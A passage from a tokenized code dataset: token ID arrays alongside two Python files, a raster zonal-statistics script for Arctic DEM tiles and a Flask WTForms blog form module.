29901, 13, 9651, 396, 319, 1051, 310, 21971, 892, 4502, 297, 29892, 671, 963, 13, 9651, 363, 3402, 29918, 297, 23892, 29901, 13, 18884, 1583, 29889, 20683, 29889, 1202, 29898, 4830, 19925, 13, 13, 13, 1990, 3630, 2283, 5126, 29898, 14399, 29889, 14095, 29889, 29928, 5364, 3195, 5126, 1125, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 1904, 353, 3630, 2283, 13, 13, 1678, 1024, 353, 12529, 29889, 20529, 29898, 2892, 302, 29901, 525, 3057, 848, 1445, 1273, 29900, 29941, 29881, 29915, 1273, 302, 29897, 13, 1678, 8783, 353, 12529, 29889, 4035, 5126, 29898, 16390, 24541, 5126, 29897, 13, 1678, 934, 29918, 4830, 353, 12529, 29889, 4035, 5126, 29898, 5809, 5126, 29897, 13, 2 ]
raster_statistic.py
Summer0328/DeeplabforRS
3
12498
<gh_stars>1-10 #!/usr/bin/env python # Filename: raster_statistic """ introduction: conduct statistic based on vectos, similar to https://github.com/perrygeo/python-rasterstats, # but allow image tiles (multi-raster). authors: <NAME> email:<EMAIL> add time: 02 March, 2021 """ import os,sys import vector_gpd from shapely.geometry import mapping # transform to GeJSON format import raster_io import basic_src.io_function as io_function import basic_src.map_projection as map_projection import basic_src.basic as basic import numpy as np from multiprocessing import Pool def array_stats(in_array, stats, nodata,range=None): data_1d = in_array.flatten() data_1d = data_1d[ data_1d != nodata] data_1d = data_1d[~np.isnan(data_1d)] # remove nan value if range is not None: lower = range[0] upper = range[1] if lower is None: data_1d = data_1d[data_1d <= upper] elif upper is None: data_1d = data_1d[data_1d >= lower] else: data_1d = data_1d[np.logical_and( data_1d >= lower, data_1d <= upper ) ] # https://numpy.org/doc/stable/reference/routines.statistics.html out_value_dict = {} for item in stats: if item == 'mean': value = np.mean(data_1d) elif item == 'max': value = np.max(data_1d) elif item == 'min': value = np.min(data_1d) elif item == 'median': value = np.median(data_1d) elif item == 'count': value = data_1d.size elif item =='std': value = np.std(data_1d) else: raise ValueError('unsupported stats: %s'%item) out_value_dict[item] = value return out_value_dict def zonal_stats_one_polygon(idx, polygon, image_tiles, img_tile_polygons, stats, nodata=None,range=None, band = 1,all_touched=True): overlap_index = vector_gpd.get_poly_index_within_extent(img_tile_polygons, polygon, min_overlap_area=0.01) image_list = [image_tiles[item] for item in overlap_index] if len(image_list) == 1: out_image, out_tran,nodata = raster_io.read_raster_in_polygons_mask(image_list[0], polygon, nodata=nodata, all_touched=all_touched,bands=band) elif len(image_list) > 1: # for the case it overlap more than one raster, need to produce a mosaic tmp_saved_files = [] for k_img, image_path in enumerate(image_list): # print(image_path) tmp_save_path = os.path.splitext(os.path.basename(image_path))[0] + '_subset_poly%d'%idx +'.tif' _, _,nodata = raster_io.read_raster_in_polygons_mask(image_path, polygon,all_touched=all_touched,nodata=nodata, bands=band, save_path=tmp_save_path) tmp_saved_files.append(tmp_save_path) # mosaic files in tmp_saved_files save_path = 'raster_for_poly%d.tif'%idx mosaic_args_list = ['gdal_merge.py', '-o', save_path,'-n',str(nodata),'-a_nodata',str(nodata)] mosaic_args_list.extend(tmp_saved_files) if basic.exec_command_args_list_one_file(mosaic_args_list,save_path) is False: raise IOError('error, obtain a mosaic (%s) failed'%save_path) # read the raster out_image, out_nodata = raster_io.read_raster_one_band_np(save_path,band=band) # remove temporal raster tmp_saved_files.append(save_path) for item in tmp_saved_files: io_function.delete_file_or_dir(item) else: basic.outputlogMessage('warning, cannot find raster for %d (start=0) polygon'%idx) return None # do calculation return array_stats(out_image, stats, nodata,range=range) def zonal_stats_multiRasters(in_shp, raster_file_or_files, nodata=None, band = 1, stats = None, prefix='', range=None,all_touched=True, process_num=1): ''' zonal statistic based on vectors, along multiple rasters (image tiles) Args: in_shp: input vector file raster_file_or_files: a raster file or multiple rasters nodata: band: band stats: like [mean, std, max, min] range: interested values [min, max], None means infinity all_touched: process_num: process number for calculation Returns: ''' io_function.is_file_exist(in_shp) if stats is None: basic.outputlogMessage('warning, No input stats, set to ["mean"])') stats = ['mean'] if isinstance(raster_file_or_files,str): io_function.is_file_exist(raster_file_or_files) image_tiles = [raster_file_or_files] elif isinstance(raster_file_or_files,list): image_tiles = raster_file_or_files else: raise ValueError('unsupport type for %s'%str(raster_file_or_files)) # check projection (assume we have the same projection), check them outside this function # get image box img_tile_boxes = [raster_io.get_image_bound_box(tile) for tile in image_tiles] img_tile_polygons = [vector_gpd.convert_image_bound_to_shapely_polygon(box) for box in img_tile_boxes] polygons = vector_gpd.read_polygons_gpd(in_shp) if len(polygons) < 1: basic.outputlogMessage('No polygons in %s'%in_shp) return False # polygons_json = [mapping(item) for item in polygons] # no need when use new verion of rasterio # process polygons one by one polygons and the corresponding image tiles (parallel and save memory) # also to avoid error: daemonic processes are not allowed to have children if process_num == 1: stats_res_list = [] for idx, polygon in enumerate(polygons): out_stats = zonal_stats_one_polygon(idx, polygon, image_tiles, img_tile_polygons, stats, nodata=nodata, range=range, band=band, all_touched=all_touched) stats_res_list.append(out_stats) elif process_num > 1: threadpool = Pool(process_num) para_list = [ (idx, polygon, image_tiles, img_tile_polygons, stats, nodata, range,band, all_touched) for idx, polygon in enumerate(polygons)] stats_res_list = threadpool.starmap(zonal_stats_one_polygon,para_list) else: raise ValueError('Wrong process number: %s '%str(process_num)) # save to shapefile add_attributes = {} new_key_list = [ prefix + '_' + key for key in stats_res_list[0].keys()] for new_ley in new_key_list: add_attributes[new_ley] = [] for stats_result in stats_res_list: for key in stats_result.keys(): add_attributes[prefix + '_' + key].append(stats_result[key]) vector_gpd.add_attributes_to_shp(in_shp,add_attributes) pass def test_zonal_stats_multiRasters(): shp = os.path.expanduser('~/Data/Arctic/canada_arctic/Willow_River/Willow_River_Thaw_Slumps.shp') # save_shp = os.path.basename(io_function.get_name_by_adding_tail(shp,'raster_stats')) # a single DEM # dem_file_dir = os.path.expanduser('~/Data/Arctic/canada_arctic/DEM/WR_dem_ArcticDEM_mosaic') # dem_path = os.path.join(dem_file_dir,'WR_extent_2m_v3.0_ArcticTileDEM_sub_1_prj.tif') # dem patches dem_file_dir = os.path.expanduser('~/Data/Arctic/canada_arctic/DEM/WR_dem_ArcticDEM_mosaic/dem_patches') dem_list = io_function.get_file_list_by_ext('.tif',dem_file_dir,bsub_folder=False) save_shp = os.path.basename(io_function.get_name_by_adding_tail(shp, 'multi_raster_stats')) io_function.copy_shape_file(shp, save_shp) zonal_stats_multiRasters(save_shp, dem_list, nodata=None, band=1, stats=None, prefix='dem', range=None, all_touched=True, process_num=4) def main(): test_zonal_stats_multiRasters() pass if __name__=='__main__': basic.setlogfile('raster_statistic.log') main()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 13, 29937, 2514, 3871, 29901, 364, 1901, 29918, 6112, 4695, 29871, 13, 15945, 29908, 13, 524, 13210, 29901, 7512, 1002, 4695, 2729, 373, 325, 522, 359, 29892, 2788, 304, 2045, 597, 3292, 29889, 510, 29914, 546, 719, 24756, 29914, 4691, 29899, 29878, 1901, 16202, 29892, 13, 29937, 965, 541, 2758, 1967, 260, 5475, 313, 9910, 29899, 29878, 1901, 467, 13, 13, 5150, 943, 29901, 529, 5813, 29958, 13, 5269, 29901, 29966, 26862, 6227, 29958, 13, 1202, 931, 29901, 29871, 29900, 29906, 4779, 29892, 29871, 29906, 29900, 29906, 29896, 13, 15945, 29908, 13, 13, 5215, 2897, 29892, 9675, 13, 5215, 4608, 29918, 29887, 15926, 13, 3166, 528, 481, 873, 29889, 19156, 1053, 10417, 396, 4327, 304, 1879, 7249, 3402, 13, 13, 5215, 364, 1901, 29918, 601, 13, 5215, 6996, 29918, 4351, 29889, 601, 29918, 2220, 408, 12013, 29918, 2220, 13, 5215, 6996, 29918, 4351, 29889, 1958, 29918, 771, 6929, 408, 2910, 29918, 771, 6929, 13, 5215, 6996, 29918, 4351, 29889, 16121, 408, 6996, 13, 5215, 12655, 408, 7442, 13, 13, 13, 3166, 6674, 307, 985, 292, 1053, 28625, 13, 13, 1753, 1409, 29918, 16202, 29898, 262, 29918, 2378, 29892, 22663, 29892, 18778, 532, 29892, 3881, 29922, 8516, 1125, 13, 1678, 848, 29918, 29896, 29881, 353, 297, 29918, 2378, 29889, 1579, 8606, 580, 13, 1678, 848, 29918, 29896, 29881, 353, 848, 29918, 29896, 29881, 29961, 848, 29918, 29896, 29881, 2804, 18778, 532, 29962, 13, 1678, 848, 29918, 29896, 29881, 353, 848, 29918, 29896, 29881, 29961, 30022, 9302, 29889, 275, 13707, 29898, 1272, 29918, 29896, 29881, 4638, 29871, 396, 3349, 23432, 995, 13, 13, 1678, 565, 3464, 338, 451, 6213, 29901, 13, 4706, 5224, 353, 3464, 29961, 29900, 29962, 13, 4706, 7568, 353, 3464, 29961, 29896, 29962, 13, 4706, 565, 5224, 338, 6213, 29901, 13, 9651, 848, 29918, 29896, 29881, 353, 848, 29918, 29896, 29881, 29961, 1272, 29918, 29896, 29881, 5277, 7568, 29962, 13, 4706, 25342, 7568, 338, 6213, 29901, 13, 9651, 848, 29918, 29896, 29881, 353, 848, 29918, 29896, 29881, 29961, 1272, 29918, 29896, 29881, 6736, 5224, 29962, 13, 4706, 1683, 29901, 13, 9651, 848, 29918, 29896, 29881, 353, 848, 29918, 29896, 29881, 29961, 9302, 29889, 1188, 936, 29918, 392, 29898, 848, 29918, 29896, 29881, 6736, 5224, 29892, 848, 29918, 29896, 29881, 5277, 7568, 1723, 4514, 13, 13, 1678, 396, 2045, 597, 23749, 29889, 990, 29914, 1514, 29914, 13844, 29914, 5679, 29914, 14608, 1475, 29889, 6112, 6765, 29889, 1420, 13, 1678, 714, 29918, 1767, 29918, 8977, 353, 6571, 13, 1678, 363, 2944, 297, 22663, 29901, 13, 4706, 565, 2944, 1275, 525, 12676, 2396, 13, 9651, 995, 353, 7442, 29889, 12676, 29898, 1272, 29918, 29896, 29881, 29897, 13, 4706, 25342, 2944, 1275, 525, 3317, 2396, 13, 9651, 995, 353, 7442, 29889, 3317, 29898, 1272, 29918, 29896, 29881, 29897, 13, 4706, 25342, 2944, 1275, 525, 1195, 2396, 13, 9651, 995, 353, 7442, 29889, 1195, 29898, 1272, 29918, 29896, 29881, 29897, 13, 4706, 25342, 2944, 1275, 525, 2168, 713, 2396, 13, 9651, 995, 353, 7442, 29889, 2168, 713, 29898, 1272, 29918, 29896, 29881, 29897, 13, 4706, 25342, 2944, 1275, 525, 2798, 2396, 13, 9651, 995, 353, 848, 29918, 29896, 29881, 29889, 2311, 13, 4706, 25342, 2944, 1275, 29915, 4172, 2396, 13, 9651, 995, 353, 7442, 29889, 4172, 29898, 1272, 29918, 29896, 29881, 29897, 13, 4706, 1683, 29901, 13, 9651, 12020, 7865, 2392, 877, 348, 23765, 22663, 29901, 1273, 29879, 29915, 29995, 667, 29897, 13, 4706, 714, 29918, 1767, 29918, 8977, 29961, 667, 29962, 353, 995, 13, 13, 1678, 736, 714, 29918, 1767, 29918, 8977, 13, 13, 13, 1753, 503, 7177, 29918, 16202, 29918, 650, 29918, 3733, 17125, 29898, 13140, 29892, 29807, 29892, 1967, 29918, 1376, 267, 29892, 10153, 29918, 29873, 488, 29918, 3733, 4790, 787, 29892, 22663, 29892, 18778, 532, 29922, 8516, 29892, 3881, 29922, 8516, 29892, 13, 462, 9651, 3719, 353, 29871, 29896, 29892, 497, 29918, 16747, 287, 29922, 5574, 1125, 13, 13, 1678, 25457, 29918, 2248, 353, 4608, 29918, 29887, 15926, 29889, 657, 29918, 22678, 29918, 2248, 29918, 2541, 262, 29918, 1062, 296, 29898, 2492, 29918, 29873, 488, 29918, 3733, 4790, 787, 29892, 29807, 29892, 1375, 29918, 957, 6984, 29918, 6203, 29922, 29900, 29889, 29900, 29896, 29897, 13, 1678, 1967, 29918, 1761, 353, 518, 3027, 29918, 1376, 267, 29961, 667, 29962, 363, 2944, 297, 25457, 29918, 2248, 29962, 13, 13, 1678, 565, 7431, 29898, 3027, 29918, 1761, 29897, 1275, 29871, 29896, 29901, 13, 4706, 714, 29918, 3027, 29892, 714, 29918, 509, 273, 29892, 29876, 397, 532, 353, 364, 1901, 29918, 601, 29889, 949, 29918, 29878, 1901, 29918, 262, 29918, 3733, 4790, 787, 29918, 13168, 29898, 3027, 29918, 1761, 29961, 29900, 1402, 29807, 29892, 18778, 532, 29922, 29876, 397, 532, 29892, 13, 462, 462, 462, 462, 268, 599, 29918, 16747, 287, 29922, 497, 29918, 16747, 287, 29892, 29890, 4167, 29922, 4980, 29897, 13, 1678, 25342, 7431, 29898, 3027, 29918, 1761, 29897, 1405, 29871, 29896, 29901, 13, 4706, 396, 363, 278, 1206, 372, 25457, 901, 1135, 697, 364, 1901, 29892, 817, 304, 7738, 263, 286, 3628, 293, 13, 4706, 13128, 29918, 17314, 29918, 5325, 353, 5159, 13, 4706, 363, 413, 29918, 2492, 29892, 1967, 29918, 2084, 297, 26985, 29898, 3027, 29918, 1761, 1125, 13, 13, 9651, 396, 1596, 29898, 3027, 29918, 2084, 29897, 13, 9651, 13128, 29918, 7620, 29918, 2084, 353, 2897, 29889, 2084, 29889, 23579, 568, 486, 29898, 359, 29889, 2084, 29889, 6500, 3871, 29898, 3027, 29918, 2084, 876, 29961, 29900, 29962, 718, 22868, 6484, 29918, 22678, 29995, 29881, 29915, 29995, 13140, 718, 4286, 29873, 361, 29915, 13, 9651, 17117, 17117, 29876, 397, 532, 353, 364, 1901, 29918, 601, 29889, 949, 29918, 29878, 1901, 29918, 262, 29918, 3733, 4790, 787, 29918, 13168, 29898, 3027, 29918, 2084, 29892, 29807, 29892, 497, 29918, 16747, 287, 29922, 497, 29918, 16747, 287, 29892, 29876, 397, 532, 29922, 29876, 397, 532, 29892, 13, 462, 462, 462, 3986, 22706, 29922, 4980, 29892, 4078, 29918, 2084, 29922, 7050, 29918, 7620, 29918, 2084, 29897, 13, 9651, 13128, 29918, 17314, 29918, 5325, 29889, 4397, 29898, 7050, 29918, 7620, 29918, 2084, 29897, 13, 13, 4706, 396, 286, 3628, 293, 2066, 297, 13128, 29918, 17314, 29918, 5325, 13, 4706, 4078, 29918, 2084, 353, 525, 29878, 1901, 29918, 1454, 29918, 22678, 29995, 29881, 29889, 29873, 361, 29915, 29995, 13140, 13, 4706, 286, 3628, 293, 29918, 5085, 29918, 1761, 353, 6024, 29887, 12293, 29918, 14634, 29889, 2272, 742, 17411, 29877, 742, 4078, 29918, 2084, 5501, 29899, 29876, 742, 710, 29898, 29876, 397, 532, 511, 28560, 29874, 29918, 29876, 397, 532, 742, 710, 29898, 29876, 397, 532, 4638, 13, 4706, 286, 3628, 293, 29918, 5085, 29918, 1761, 29889, 21843, 29898, 7050, 29918, 17314, 29918, 5325, 29897, 13, 4706, 565, 6996, 29889, 4258, 29918, 6519, 29918, 5085, 29918, 1761, 29918, 650, 29918, 1445, 29898, 29885, 3628, 293, 29918, 5085, 29918, 1761, 29892, 7620, 29918, 2084, 29897, 338, 7700, 29901, 13, 9651, 12020, 10663, 2392, 877, 2704, 29892, 4017, 263, 286, 3628, 293, 313, 29995, 29879, 29897, 5229, 29915, 29995, 7620, 29918, 2084, 29897, 13, 13, 4706, 396, 1303, 278, 364, 1901, 13, 4706, 714, 29918, 3027, 29892, 714, 29918, 29876, 397, 532, 353, 364, 1901, 29918, 601, 29889, 949, 29918, 29878, 1901, 29918, 650, 29918, 4980, 29918, 9302, 29898, 7620, 29918, 2084, 29892, 4980, 29922, 4980, 29897, 13, 4706, 396, 3349, 25406, 364, 1901, 13, 4706, 13128, 29918, 17314, 29918, 5325, 29889, 4397, 29898, 7620, 29918, 2084, 29897, 13, 4706, 363, 2944, 297, 13128, 29918, 17314, 29918, 5325, 29901, 13, 9651, 12013, 29918, 2220, 29889, 8143, 29918, 1445, 29918, 272, 29918, 3972, 29898, 667, 29897, 13, 13, 1678, 1683, 29901, 13, 4706, 6996, 29889, 4905, 1188, 3728, 877, 27392, 29892, 2609, 1284, 364, 1901, 363, 1273, 29881, 313, 2962, 29922, 29900, 29897, 29807, 29915, 29995, 13140, 29897, 13, 4706, 736, 6213, 13, 13, 1678, 396, 437, 13944, 13, 1678, 736, 1409, 29918, 16202, 29898, 449, 29918, 3027, 29892, 22663, 29892, 18778, 532, 29892, 3881, 29922, 3881, 29897, 13, 13, 1753, 503, 7177, 29918, 16202, 29918, 9910, 29934, 1901, 29879, 29898, 262, 29918, 845, 29886, 29892, 364, 1901, 29918, 1445, 29918, 272, 29918, 5325, 29892, 18778, 532, 29922, 8516, 29892, 3719, 353, 29871, 29896, 29892, 22663, 353, 6213, 29892, 10944, 2433, 742, 13, 462, 632, 3464, 29922, 8516, 29892, 497, 29918, 16747, 287, 29922, 5574, 29892, 1889, 29918, 1949, 29922, 29896, 1125, 13, 1678, 14550, 13, 1678, 503, 7177, 1002, 4695, 2729, 373, 12047, 29892, 3412, 2999, 364, 1901, 29879, 313, 3027, 260, 5475, 29897, 13, 1678, 826, 3174, 29901, 13, 4706, 297, 29918, 845, 29886, 29901, 1881, 4608, 934, 13, 4706, 364, 1901, 29918, 1445, 29918, 272, 29918, 5325, 29901, 263, 364, 1901, 934, 470, 2999, 364, 1901, 29879, 13, 4706, 18778, 532, 29901, 13, 4706, 3719, 29901, 3719, 13, 4706, 22663, 29901, 763, 518, 12676, 29892, 3659, 29892, 4236, 29892, 1375, 29962, 13, 4706, 3464, 29901, 8852, 1819, 518, 1195, 29892, 4236, 1402, 6213, 2794, 27971, 13, 4706, 599, 29918, 16747, 287, 29901, 13, 4706, 1889, 29918, 1949, 29901, 1889, 1353, 363, 13944, 13, 13, 1678, 16969, 29901, 13, 13, 1678, 14550, 13, 1678, 12013, 29918, 2220, 29889, 275, 29918, 1445, 29918, 28997, 29898, 262, 29918, 845, 29886, 29897, 13, 1678, 565, 22663, 338, 6213, 29901, 13, 4706, 6996, 29889, 4905, 1188, 3728, 877, 27392, 29892, 1939, 1881, 22663, 29892, 731, 304, 6796, 12676, 20068, 1495, 13, 4706, 22663, 353, 6024, 12676, 2033, 13, 13, 1678, 565, 338, 8758, 29898, 29878, 1901, 29918, 1445, 29918, 272, 29918, 5325, 29892, 710, 1125, 13, 4706, 12013, 29918, 2220, 29889, 275, 29918, 1445, 29918, 28997, 29898, 29878, 1901, 29918, 1445, 29918, 272, 29918, 5325, 29897, 13, 4706, 1967, 29918, 1376, 267, 353, 518, 29878, 1901, 29918, 1445, 29918, 272, 29918, 5325, 29962, 13, 1678, 25342, 338, 8758, 29898, 29878, 1901, 29918, 1445, 29918, 272, 29918, 5325, 29892, 1761, 1125, 13, 4706, 1967, 29918, 1376, 267, 353, 364, 1901, 29918, 1445, 29918, 272, 29918, 5325, 13, 1678, 1683, 29901, 13, 4706, 12020, 7865, 2392, 877, 348, 5924, 1134, 363, 1273, 29879, 29915, 29995, 710, 29898, 29878, 1901, 29918, 1445, 29918, 272, 29918, 5325, 876, 13, 13, 1678, 396, 1423, 18246, 313, 465, 2017, 591, 505, 278, 1021, 18246, 511, 1423, 963, 5377, 445, 740, 13, 13, 1678, 396, 679, 1967, 3800, 13, 1678, 10153, 29918, 29873, 488, 29918, 1884, 267, 353, 29871, 518, 29878, 1901, 29918, 601, 29889, 657, 29918, 3027, 29918, 9917, 29918, 1884, 29898, 29873, 488, 29897, 363, 25900, 297, 1967, 29918, 1376, 267, 29962, 13, 1678, 10153, 29918, 29873, 488, 29918, 3733, 4790, 787, 353, 518, 8111, 29918, 29887, 15926, 29889, 13441, 29918, 3027, 29918, 9917, 29918, 517, 29918, 845, 481, 873, 29918, 3733, 17125, 29898, 1884, 29897, 363, 3800, 297, 10153, 29918, 29873, 488, 29918, 1884, 267, 29962, 13, 1678, 1248, 4790, 787, 353, 4608, 29918, 29887, 15926, 29889, 949, 29918, 3733, 4790, 787, 29918, 29887, 15926, 29898, 262, 29918, 845, 29886, 29897, 13, 1678, 565, 7431, 29898, 3733, 4790, 787, 29897, 529, 29871, 29896, 29901, 13, 4706, 6996, 29889, 4905, 1188, 3728, 877, 3782, 1248, 4790, 787, 297, 1273, 29879, 29915, 29995, 262, 29918, 845, 29886, 29897, 13, 4706, 736, 7700, 13, 1678, 396, 1248, 4790, 787, 29918, 3126, 353, 518, 20698, 29898, 667, 29897, 363, 2944, 297, 1248, 4790, 787, 29962, 29871, 396, 694, 817, 746, 671, 716, 1147, 291, 310, 364, 1901, 601, 13, 13, 1678, 396, 1889, 1248, 4790, 787, 697, 491, 697, 1248, 4790, 787, 322, 278, 6590, 1967, 260, 5475, 313, 23482, 322, 4078, 3370, 29897, 13, 1678, 396, 884, 304, 4772, 1059, 29901, 1146, 331, 8927, 10174, 526, 451, 6068, 304, 505, 4344, 13, 1678, 565, 1889, 29918, 1949, 1275, 29871, 29896, 29901, 13, 4706, 22663, 29918, 690, 29918, 1761, 353, 5159, 13, 4706, 363, 22645, 29892, 29807, 297, 26985, 29898, 3733, 4790, 787, 1125, 13, 9651, 714, 29918, 16202, 353, 503, 7177, 29918, 16202, 29918, 650, 29918, 3733, 17125, 29898, 13140, 29892, 29807, 29892, 1967, 29918, 1376, 267, 29892, 10153, 29918, 29873, 488, 29918, 3733, 4790, 787, 29892, 22663, 29892, 18778, 532, 29922, 29876, 397, 532, 29892, 3464, 29922, 3881, 29892, 13, 462, 462, 1678, 3719, 29922, 4980, 29892, 599, 29918, 16747, 287, 29922, 497, 29918, 16747, 287, 29897, 13, 9651, 22663, 29918, 690, 29918, 1761, 29889, 4397, 29898, 449, 29918, 16202, 29897, 13, 13, 1678, 25342, 1889, 29918, 1949, 1405, 29871, 29896, 29901, 13, 4706, 3244, 10109, 353, 28625, 29898, 5014, 29918, 1949, 29897, 13, 4706, 1702, 29918, 1761, 353, 518, 313, 13140, 29892, 29807, 29892, 1967, 29918, 1376, 267, 29892, 10153, 29918, 29873, 488, 29918, 3733, 4790, 787, 29892, 22663, 29892, 18778, 532, 29892, 3464, 29892, 4980, 29892, 599, 29918, 16747, 287, 29897, 13, 462, 418, 363, 22645, 29892, 29807, 297, 26985, 29898, 3733, 4790, 787, 4638, 13, 4706, 22663, 29918, 690, 29918, 1761, 353, 3244, 10109, 29889, 8508, 1958, 29898, 6626, 284, 29918, 16202, 29918, 650, 29918, 3733, 17125, 29892, 22752, 29918, 1761, 29897, 13, 1678, 1683, 29901, 13, 4706, 12020, 7865, 2392, 877, 29956, 29373, 1889, 1353, 29901, 1273, 29879, 14210, 710, 29898, 5014, 29918, 1949, 876, 13, 13, 13, 13, 1678, 396, 4078, 304, 8267, 1445, 13, 1678, 788, 29918, 15697, 353, 6571, 13, 1678, 716, 29918, 1989, 29918, 1761, 29871, 353, 518, 10944, 718, 22868, 29915, 718, 1820, 363, 1820, 297, 22663, 29918, 690, 29918, 1761, 29961, 29900, 1822, 8149, 580, 29962, 13, 1678, 363, 716, 29918, 2330, 297, 716, 29918, 1989, 29918, 1761, 29901, 13, 4706, 788, 29918, 15697, 29961, 1482, 29918, 2330, 29962, 353, 5159, 13, 1678, 363, 22663, 29918, 2914, 297, 22663, 29918, 690, 29918, 1761, 29901, 13, 4706, 363, 1820, 297, 22663, 29918, 2914, 29889, 8149, 7295, 13, 9651, 788, 29918, 15697, 29961, 13506, 718, 22868, 29915, 718, 1820, 1822, 4397, 29898, 16202, 29918, 2914, 29961, 1989, 2314, 13, 13, 1678, 4608, 29918, 29887, 15926, 29889, 1202, 29918, 15697, 29918, 517, 29918, 845, 29886, 29898, 262, 29918, 845, 29886, 29892, 1202, 29918, 15697, 29897, 13, 13, 1678, 1209, 13, 13, 13, 1753, 1243, 29918, 6626, 284, 29918, 16202, 29918, 9910, 29934, 1901, 29879, 7295, 13, 13, 1678, 528, 29886, 353, 2897, 29889, 2084, 29889, 18837, 1792, 877, 20038, 1469, 29914, 1433, 20009, 29914, 3068, 1114, 29918, 279, 20009, 29914, 12984, 340, 29918, 29934, 2147, 29914, 12984, 340, 29918, 29934, 2147, 29918, 1349, 1450, 29918, 16973, 17204, 29889, 845, 29886, 1495, 13, 1678, 396, 4078, 29918, 845, 29886, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 601, 29918, 2220, 29889, 657, 29918, 978, 29918, 1609, 29918, 4676, 29918, 18237, 29898, 845, 29886, 5501, 29878, 1901, 29918, 16202, 8785, 13, 13, 13, 1678, 396, 263, 2323, 5012, 29924, 13, 1678, 396, 1261, 29918, 1445, 29918, 3972, 353, 2897, 29889, 2084, 29889, 18837, 1792, 877, 20038, 1469, 29914, 1433, 20009, 29914, 3068, 1114, 29918, 279, 20009, 29914, 2287, 29924, 29914, 9980, 29918, 2310, 29918, 1433, 20009, 2287, 29924, 29918, 29885, 3628, 293, 1495, 13, 1678, 396, 1261, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 2310, 29918, 1445, 29918, 3972, 5501, 9980, 29918, 1062, 296, 29918, 29906, 29885, 29918, 29894, 29941, 29889, 29900, 29918, 1433, 20009, 29911, 488, 2287, 29924, 29918, 1491, 29918, 29896, 29918, 558, 29926, 29889, 29873, 361, 1495, 13, 13, 1678, 396, 1261, 13261, 267, 13, 1678, 1261, 29918, 1445, 29918, 3972, 353, 2897, 29889, 2084, 29889, 18837, 1792, 877, 20038, 1469, 29914, 1433, 20009, 29914, 3068, 1114, 29918, 279, 20009, 29914, 2287, 29924, 29914, 9980, 29918, 2310, 29918, 1433, 20009, 2287, 29924, 29918, 29885, 3628, 293, 29914, 2310, 29918, 5041, 267, 1495, 13, 1678, 1261, 29918, 1761, 353, 12013, 29918, 2220, 29889, 657, 29918, 1445, 29918, 1761, 29918, 1609, 29918, 1062, 12839, 29873, 361, 742, 2310, 29918, 1445, 29918, 3972, 29892, 29890, 1491, 29918, 12083, 29922, 8824, 29897, 13, 1678, 4078, 29918, 845, 29886, 353, 2897, 29889, 2084, 29889, 6500, 3871, 29898, 601, 29918, 2220, 29889, 657, 29918, 978, 29918, 1609, 29918, 4676, 29918, 18237, 29898, 845, 29886, 29892, 525, 9910, 29918, 29878, 1901, 29918, 16202, 8785, 13, 13, 1678, 12013, 29918, 2220, 29889, 8552, 29918, 12181, 29918, 1445, 29898, 845, 29886, 29892, 4078, 29918, 845, 29886, 29897, 13, 1678, 503, 7177, 29918, 16202, 29918, 9910, 29934, 1901, 29879, 29898, 7620, 29918, 845, 29886, 29892, 1261, 29918, 1761, 29892, 18778, 532, 29922, 8516, 29892, 3719, 29922, 29896, 29892, 22663, 29922, 8516, 29892, 10944, 2433, 2310, 742, 13, 462, 632, 3464, 29922, 8516, 29892, 599, 29918, 16747, 287, 29922, 5574, 29892, 1889, 29918, 1949, 29922, 29946, 29897, 13, 13, 13, 13, 1753, 1667, 7295, 13, 1678, 1243, 29918, 6626, 284, 29918, 16202, 29918, 9910, 29934, 1901, 29879, 580, 13, 1678, 1209, 13, 13, 361, 4770, 978, 1649, 1360, 29915, 1649, 3396, 1649, 2396, 13, 1678, 6996, 29889, 842, 1188, 1445, 877, 29878, 1901, 29918, 6112, 4695, 29889, 1188, 1495, 13, 1678, 1667, 580, 2 ]
project/home/forms.py
Kirza/flask-learning
0
78215
<filename>project/home/forms.py<gh_stars>0 from flask_wtf import Form from wtforms import TextField, TextAreaField, FileField from wtforms.validators import DataRequired, Length class MessageForm(Form): title = TextField('Title', validators=[DataRequired()]) description = TextField( 'Description', validators=[DataRequired(), Length(max=140)]) class BlogPostForm(Form): title_header = TextAreaField('Title header', validators=[DataRequired(), Length(max=80)]) title_long = TextAreaField('Title long', validators=[Length(max=250)]) content = TextAreaField('Main content', validators=[DataRequired(), Length(max=25000)]) tag = TextAreaField('Tags', validators=[Length(max=25)]) author_name_manual = TextAreaField('Only fill if author name dont match your username', validators=[Length(max=25)]) image = FileField('Image File') class ImageForm(Form): image = FileField('Image File')
[ 1, 529, 9507, 29958, 4836, 29914, 5184, 29914, 9514, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 29784, 29918, 29893, 13264, 1053, 3812, 13, 3166, 281, 29873, 9514, 1053, 3992, 3073, 29892, 3992, 13799, 3073, 29892, 3497, 3073, 13, 3166, 281, 29873, 9514, 29889, 3084, 4097, 1053, 3630, 19347, 29892, 365, 1477, 13, 13, 13, 1990, 7777, 2500, 29898, 2500, 1125, 13, 1678, 3611, 353, 3992, 3073, 877, 7030, 742, 2854, 4097, 11759, 1469, 19347, 580, 2314, 13, 1678, 6139, 353, 3992, 3073, 29898, 13, 4706, 525, 9868, 742, 2854, 4097, 11759, 1469, 19347, 3285, 365, 1477, 29898, 3317, 29922, 29896, 29946, 29900, 29897, 2314, 13, 13, 1990, 350, 1188, 6747, 2500, 29898, 2500, 1125, 13, 1678, 3611, 29918, 6672, 353, 3992, 13799, 3073, 877, 7030, 4839, 742, 2854, 4097, 11759, 1469, 19347, 3285, 365, 1477, 29898, 3317, 29922, 29947, 29900, 29897, 2314, 13, 1678, 3611, 29918, 5426, 353, 3992, 13799, 3073, 877, 7030, 1472, 742, 2854, 4097, 11759, 6513, 29898, 3317, 29922, 29906, 29945, 29900, 29897, 2314, 13, 1678, 2793, 353, 3992, 13799, 3073, 877, 6330, 2793, 742, 2854, 4097, 11759, 1469, 19347, 3285, 365, 1477, 29898, 3317, 29922, 29906, 29945, 29900, 29900, 29900, 29897, 2314, 13, 1678, 4055, 353, 3992, 13799, 3073, 877, 28089, 742, 2854, 4097, 11759, 6513, 29898, 3317, 29922, 29906, 29945, 29897, 2314, 13, 1678, 4148, 29918, 978, 29918, 11288, 353, 3992, 13799, 3073, 877, 11730, 5445, 565, 4148, 1024, 4555, 1993, 596, 8952, 742, 2854, 4097, 11759, 6513, 29898, 